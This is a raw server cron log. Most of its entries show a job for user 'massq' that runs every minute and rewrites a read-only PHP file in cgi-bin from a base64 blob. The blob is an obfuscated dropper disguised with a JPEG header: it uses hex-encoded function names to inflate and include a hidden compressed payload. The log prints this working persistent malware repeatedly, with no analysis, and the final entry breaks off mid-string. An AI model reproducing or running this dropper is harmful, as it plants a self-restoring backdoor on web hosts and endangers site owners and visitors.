Apr  9 22:25:01 server CROND[28561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:26:01 server CROND[28774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:27:01 server CROND[28817]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 22:27:01 server CROND[28819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:28:01 server CROND[28873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:29:01 server CROND[28929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:30:01 server CROND[28992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:30:01 server CROND[28993]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 22:30:01 server CROND[28994]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 22:30:01 server CROND[28995]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 22:31:01 server CROND[29120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:32:01 server CROND[29287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:33:01 server CROND[29348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:34:01 server CROND[29409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:35:01 server CROND[29482]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 22:35:01 server CROND[29483]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 22:35:01 server CROND[29484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 22:35:01 server CROND[29487]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 22:35:01 server CROND[29489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:36:01 server CROND[29630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:37:01 server CROND[29780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:38:01 server CROND[29840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLw